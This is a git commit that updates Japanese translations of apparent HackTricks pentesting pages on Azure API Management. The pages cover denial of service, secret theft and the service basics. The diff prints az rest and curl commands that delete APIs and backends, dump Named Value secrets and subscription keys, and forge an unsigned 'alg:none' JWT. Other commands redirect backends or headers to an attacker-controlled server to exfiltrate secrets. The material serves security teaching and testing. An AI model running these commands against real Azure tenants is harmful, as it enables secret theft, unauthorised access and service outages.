Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-api-

This commit is contained in:
Translator
2025-12-26 18:51:34 +00:00
parent 3d11a776c0
commit 5f8464cd0b
3 changed files with 48 additions and 49 deletions

View File

@@ -3,7 +3,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
攻撃者は複数のベクターを用してdenial of serviceを引き起こすことができます。正当なトラフィックを遮断するために、攻撃者は極めて低い値のレート制限やクォータポリシーを追加し、通常のアクセスを事実上不可能にします:
攻撃者は複数のベクターを使用して denial of service を引き起こすことができます。正当なトラフィックを遮断するために、攻撃者は非常に低い値の rate-limiting と quota ポリシーを追加し、通常のアクセスを事実上不可能にします:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -15,7 +15,7 @@ az rest --method PUT \
}
}'
```
特定の正当なクライアントIPをブロックするために、攻撃者は選択したアドレスからのリクエストを拒否するIPフィルタリングポリシーを追加できます:
特定の正当なクライアントIPをブロックするために、攻撃者は選択したアドレスからのリクエストを拒否するIPフィルタリングポリシーを追加できます
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -28,7 +28,7 @@ az rest --method PUT \
}'
```
## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`
リクエストを失敗させるため、攻撃者はバックエンド設定を変更しその URL を無効または到達不能なアドレスに変更できます
リクエストを失敗させるため、攻撃者はバックエンド構成を変更しその URL を無効または到達不能なアドレスに変更できます:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -40,21 +40,21 @@ az rest --method PUT \
}
}'
```
または backends を削除する:
またはバックエンドを削除する:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/apis/delete`
重要な APIs を利用不能にするため、攻撃者は API Management service からそれらを直接削除できます:
重要なAPIを利用不能にするため、攻撃者はAPI Management serviceから直接それらを削除できます:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
インターネットからのアクセスを遮断するため、攻撃者は API Management service のパブリック ネットワークアクセスを無効化できます:
インターネットからのアクセスを遮断するため、攻撃者は API Management service の public network access を無効化できます:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
@@ -66,8 +66,7 @@ az rest --method PATCH \
}'
```
## `Microsoft.ApiManagement/service/subscriptions/delete`
正当なユーザーのアクセスを遮断するため、攻撃者は API Management subscriptions を削除できます:
正当なユーザーのアクセスをブロックするために、攻撃者は API Management subscriptions を削除できます:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \

View File

@@ -4,31 +4,31 @@
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
この攻撃は、Azure API Management Named Values に保存されている機密 secrets にアクセスすることを目的としています。直接 secret values を取得するか、権限を悪用して managed identities をして Key Vaultbacked secrets を取得することで行われます。
この攻撃は、Azure API Management Named Values に保存され機密 secrets にアクセスすることで、secret values を直接取得するか、managed identities を悪用して Key Vaultbacked secrets を取得する権限を濫用する、というものです。
```bash
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
```
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
各サブスクリプションについて、攻撃者は POST メソッドで listSecrets エンドポイントを使用してサブスクリプションキーを取得できます:
各サブスクリプションについて、攻撃者は POST メソッドで listSecrets エンドポイントを使用してサブスクリプションキーを取得できます
```bash
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
```
レスポンスにはサブスクリプションの primary key (primaryKey) と secondary key (secondaryKey) が含まれます。これらのキーを使うことで、攻撃者は API Management Gateway を通じて公開され APIs に対して認証してアクセスできます
レスポンスには subscription primary key (primaryKey) と secondary key (secondaryKey) が含まれています。これらのキーがあれば、攻撃者は認証して API Management Gateway を通じて公開されている APIs にアクセスできます:
```bash
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
```
攻撃者はサブスクリプションに関連付けられたすべてのAPIと製品にアクセスできます。サブスクリプションが機密性の高い製品やAPIにアクセスできる場合、攻撃者は機密情報を取得したり、不正な操作を行ったりする可能性があります。
攻撃者はサブスクリプションに関連付けられたすべての API と製品にアクセスできます。サブスクリプションが機密性の高い製品や API にアクセスできる場合、攻撃者は機密情報を取得したり、不正な操作を実行したりする可能性があります。
## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`
攻撃者はまず現在のAPIポリシーを取得します
攻撃者はまず現在の API ポリシーを取得します:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
```
攻撃者は目的に応じてポリシーを複数の方法で変更できます。例えば、認証を無効するには、ポリシー JWT token validation を含んでいる場合、その部分を削除するかコメントアウトできます:
攻撃者は目的に応じてポリシーを様々な方法で変更できます。例えば、認証を無効するためにポリシー JWT token validation が含まれている場合、その部分を削除するかコメントアウトできます:
```xml
<policies>
<inbound>
@@ -49,7 +49,7 @@ az rest --method GET \
</on-error>
</policies>
```
rate limiting controls を解除して denial-of-service 攻撃を可能にするために、攻撃者は quota および rate-limit policies を削除またはコメントアウトできます:
レート制限のコントロールを解除してdenial-of-service attacksを許可するために、攻撃者はquotarate-limitポリシーを削除するかコメントアウトできます
```xml
<policies>
<inbound>
@@ -61,7 +61,7 @@ rate limiting controls を解除して denial-of-service 攻撃を可能にす
...
</policies>
```
バックエンドのルートを変更して、トラフィックを攻撃者が制御するサーバーにリダイレクトするには:
バックエンドのルートを変更して、トラフィックを attacker-controlled server にリダイレクトするには
```xml
<policies>
...
@@ -72,7 +72,7 @@ rate limiting controls を解除して denial-of-service 攻撃を可能にす
...
</policies>
```
攻撃者は修正したポリシーを適用します。リクエストボディは、XML形式のポリシーを含むJSONオブジェクトでなければなりません:
攻撃者は修正したポリシーを適用します。リクエストボディはポリシーをXML形式で含むJSONオブジェクトでなければなりません:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -84,33 +84,33 @@ az rest --method PUT \
}
}'
```
## JWT 検証の誤設定
## JWT 検証の誤構成
攻撃者は、APIJWTトークン検証を使用しており、ポリシーが誤設定されていることをる必要があります。誤って構成されたJWT検証ポリシーは `require-signed-tokens="false"``require-expiration-time="false"` を持っていることがあり、これによりサービスが署名されていないトークンや期限が設定されていないトークンを受け入れてしまいます。
攻撃者は、APIJWT トークン検証を使用しており、ポリシーが誤構成されていることを把握している必要があります。誤って構成された JWT 検証ポリシーは `require-signed-tokens="false"``require-expiration-time="false"` のようになっており、署名されていないトークンや期限が設定されていない(無期限の)トークンをサービスが受け入れてしまう可能性があります。
攻撃者は none アルゴリズム(署名なし)を使用し悪意のあるJWTトークンを作成します
攻撃者は none アルゴリズム(署名なし)を使用し悪意のある JWT トークンを作成します:
```
# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
```
攻撃者は悪意のあるトークンを使用してAPIにリクエストを送信します:
攻撃者は悪意のあるトークンを使用して API にリクエストを送信します:
```bash
curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
```
ポリシーが `require-signed-tokens="false"` に誤設定されている、サービスは unsigned token を受け入れます。attacker `require-expiration-time="false"` の場合、expiration claim を含まない token を作成することもできます。
ポリシーが `require-signed-tokens="false"` に誤設定されている場合、サービスは署名されていないトークンを受け入れます。攻撃者`require-expiration-time="false"` の場合、有効期限クレームを持たないトークンを作成することもできます。
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
attacker はまずサービスの現在のネットワーク構成を確認します:
攻撃者はまずサービスの現在のネットワーク構成を確認します:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
```
攻撃者はJSONレスポンスを確認し`publicNetworkAccess``virtualNetworkType` の値を検証する。もし `publicNetworkAccess` が false に設定されているか、`virtualNetworkType` が Internal に設定されている場合、サービスはプライベートアクセスに設定されている。
攻撃者はJSONレスポンスを確認し、`publicNetworkAccess``virtualNetworkType` の値を検証する。`publicNetworkAccess` が false に設定されているか、`virtualNetworkType` が Internal に設定されている場合、サービスはプライベートアクセスに構成されている。
サービスをインターネットに公開するに、攻撃者は両方の設定を変更する必要がある。サービスが内部モードで稼働している場合`virtualNetworkType: "Internal"`、攻撃者はれを None または External に変更し、`publicNetworkAccess` を有効にする。これは Azure Management API を使用して行える:
サービスをインターネットに公開するために、攻撃者は両方の設定を変更する必要がある。サービスが internal モードで実行されている場合 (`virtualNetworkType: "Internal"`)、攻撃者はれを None または External に変更し、`publicNetworkAccess` を有効にする。これは Azure Management API を使用して実行できる:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
@@ -122,20 +122,20 @@ az rest --method PATCH \
}
}'
```
`virtualNetworkType``None` または `External` に設定され、`publicNetworkAccess` が有効になると、サービスとそのすべての API はインターネットからアクセス可能になり以前プライベートネットワークやプライベートエンドポイントの背後で保護されていた場合でも同様です
`virtualNetworkType``None`または`External`に設定され、`publicNetworkAccess`が有効になると、サービスとそのすべてのAPIはインターネットからアクセス可能になります。たとえ以前プライベートネットワークやプライベートエンドポイントの背後で保護されていたとしても
## `Microsoft.ApiManagement/service/backends/write`
攻撃者はまず既存の backends を列挙して、どれを変更するかを特定します
攻撃者はまず既存のバックエンドを列挙して、どれを変更するかを特定します:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
```
攻撃者は変更したいバックエンドの現在の構成を取得する:
攻撃者は変更したいバックエンドの現在の構成を取得する
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
```
攻撃者はバックエンドの URL を自分管理るサーバーを指すように変更します。まず、前回のレスポンスから ETag を取得し、バックエンドを更新します:
攻撃者はbackend URLを自分管理下にあるサーバーを指すように変更します。まずのレスポンスからETagを取得し、その後backendを更新します:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -148,7 +148,7 @@ az rest --method PUT \
}
}'
```
別の方法として、攻撃者はbackend headersを構成して、密を含むNamed Valuesexfiltrateできます。これはbackend credentials configurationを通じて行ます:
代わりに、攻撃者は backend headers を構成して、密を含む Named Valuesexfiltrate できます。これは backend credentials configuration を通じて行われます:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -165,6 +165,6 @@ az rest --method PUT \
}
}'
```
この構成では、Named Valuesはすべてのリクエストでattacker-controlled backendにヘッダーとして送信され、sensitive secretsのexfiltrationを可能にします。
この構成では、Named Values が攻撃者制御のバックエンドへのすべてのリクエストのヘッダーとして送信され、機密シークレットの流出を可能にします。
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,43 +2,43 @@
{{#include ../../../banners/hacktricks-training.md}}
## 基本情報
## Basic Information
Azure API Management (APIM) は、**API 公開、保護、変換、管理、監視するための統合プラットフォーム** を提供するフルマネージドサービスです。組織が API 戦略を一元化し、すべてのサービスで一貫したガバナンス、パフォーマンス、セキュリティを確保できるようにします。バックエンドサービスと API 利用者の間抽象化レイヤーとして機能することで、APIM は統合を簡素化し、保守性を向上させると同時に、運用およびセキュリティに必要な機能を提供します。
Azure API Management (APIM) は、API 公開、保護、変換、管理、監視ための **統合プラットフォームを提供するフルマネージドサービス** です。組織が **API 戦略を一元化** し、すべてのサービスで一貫したガバナンス、パフォーマンス、セキュリティを確保できるようにします。APIM はバックエンドサービスと API 消費者の間抽象化レイヤーとして機能することで、統合を簡素化し、保守性を向上させながら、重要な運用およびセキュリティ機能を提供します。
## コアコンセプト
## Core Concepts
**APIゲートウェイ**すべての API トラフィックの単一エントリポイントとして機能し、リクエストのルーティング、レート制限の適用、レスポンスのキャッシュ、認証認可の管理などの機能を処理します。このゲートウェイは Azure によって完全にホストおよび管理されており、高可用性とスケーラビリティ保証されます。
**The API Gateway** はすべての API トラフィックの単一エントリポイントとして機能し、バックエンドサービスへのリクエストのルーティング、レート制限の適用、レスポンスのキャッシュ、認証および認可の管理などの機能を処理します。このゲートウェイは Azure によってフルホストおよび管理され、高可用性とスケーラビリティ保証ます。
**開発者ポータル**API 利用者が利用可能な API を発見し、ドキュメントを読み、エンドポイントをテストできるセルフサービス環境を提供します。インタラクティブなツールやサブスクリプション情報へのアクセスを通じてオンボーディングを効率化します。
**The Developer Portal** API 消費者が利用可能な API を発見し、ドキュメントを読み、エンドポイントをテストできるセルフサービス環境を提供します。インタラクティブなツールやサブスクリプション情報へのアクセスを提供することで、オンボーディングを効率化します。
**管理ポータル(管理プレーン)**管理者が APIM サービスを構成および維持するために使用します。ここから API や操作の定義、アクセス制御構成、ポリシー適用、ユーザー管理、API 製品への整理などが行えます。このポータルは管理を集中化し、一貫した API ガバナンスを確保します。
**The Management Portal (Management Plane)** は管理者が APIM サービスを構成および維持するために使用します。ここからユーザーは API やオペレーションを定義、アクセス制御構成、ポリシー適用、ユーザー管理、API 製品productsに整理できます。このポータルは管理を一元化し、一貫した API ガバナンスを確保します。
## 認証と認可
## Authentication and Authorization
Azure API Management は API アクセスを保護するために複数の **認証メカニズム** をサポートします。これには **subscription keys**、**OAuth 2.0 tokens**、および **client certificates** が含まれます。APIM は **Microsoft Entra ID** とネイティブに統合されており、エンタープライズレベルのアイデンティティ管理と、API およびバックエンドサービスへの安全なアクセスを可能にします。
Azure API Management は API アクセスを保護するためのいくつかの **authentication mechanisms** をサポートします。これには **subscription keys**、**OAuth 2.0 tokens**、および **client certificates** が含まれます。APIM は **Microsoft Entra ID** とネイティブに統合されており、**エンタープライズレベルのアイデンティティ管理** と API およびバックエンドサービスへの **安全なアクセス** を可能にします。
## ポリシー
## Policies
APIM のポリシーにより、サービス、API、操作、または製品レベルなどさまざまな粒度で**リクエストおよびレスポンス処理** を管理者がカスタマイズできます。ポリシーを通て、**JWT トークン検証**、**XML や JSON ペイロード変換**、**レート制限適用**、**IP アドレスによる呼び出し制限**、および **managed identities を使用しバックエンドサービスへの認証** などが実現可能です。ポリシーは非常に柔軟であり、APIM プラットフォームの **コアとなる強み** の一つで、バックエンドコードを変更することなくランタイム動を細かく制御できます。
APIM のポリシーは、管理者が **request and response processing** をサービス、API、operation、または product レベルなどさまざまな粒度でカスタマイズできるようにします。ポリシーを通て、**JWT token validation** を強制したり、XML や JSON ペイロード変換したり、レート制限適用したり、IP アドレスによる呼び出し制限したり、**managed identities** を使用しバックエンドサービスに対して認証したりすることが可能です。ポリシーは **非常に柔軟** であり、API Management プラットフォームの **コア強み** の一つで、バックエンドコードを変更することなく **ランタイム動を細かく制御** できます。
## Named Values
このサービスは **Named Values** と呼ばれる仕組みを提供しており、**シークレット**、**API キー**、およびポリシーで必要とるその他の **設定情報** を格納できます。
このサービスは **Named Values** と呼ばれる仕組みを提供しており、**secrets**、**API keys**、またはポリシーで必要とされるその他の値などの **構成情報** を格納できます。
これらの値は APIM 内に直接保存することも、**Azure Key Vault** から安全に参照することも可能です。Named Values は設定データの安全で集中化された管理を促進し、ハードコーディングの代わりに **再利用可能な参照**用いることでポリシー作成を簡素化します。
これらの値は APIM 内に直接格納することも、**Azure Key Vault** から安全に参照することもできます。Named Values は構成データの **安全で集中化された管理** を促進し、ハードコーディングされた値の代わりに **再利用可能な参照**許可することでポリシー作成を簡素化します。
## ネットワーキングとセキュリティの統合
## Networking and Security Integration
Azure API Management は **Virtual Network (VNet)** 環境とシームレスに統合し、バックエンドシステムへの **プライベートで安全な接続** を可能にします。
Azure API Management は **virtual network environments** とシームレスに統合し、バックエンドシステムへの **プライベートで安全な接続** を可能にします。
VNet 内にデプロイされた場合、APIM は内部サービスへ公開せずにアクセスできます。また、**相互 TLS 認証 (mutual TLS authentication)** をサポートするための **カスタム証明書** の構成も可能で、強固なアイデンティティ検証が必要なシナリオでセキュリティを向上させます。
**Virtual Network (VNet)** 内にデプロイされると、APIM は内部サービスに対してそれらを公開することなくアクセスできます。サービスはまた、バックエンドサービスとの **mutual TLS authentication** をサポートするための **custom certificates** の構成を許可しており、**強力なアイデンティティ検証** が必要なシナリオでセキュリティを向上させます。
これらの **ネットワーキング機能** により、APIM はクラウドネイティブなアーキテクチャだけでなく **ハイブリッドアーキテクチャ**適しています。
これらの **networking features** により、APIM は **cloud-native** および **hybrid architectures** の両方に適しています。
### 列挙
### Enumerate
API 管理サービスを列挙するには
API Management サービスを列挙するには:
```bash
# Lists all Named Values configured in the Azure API Management instance
az apim nv list --resource-group <resource-group> --service-name <service-name>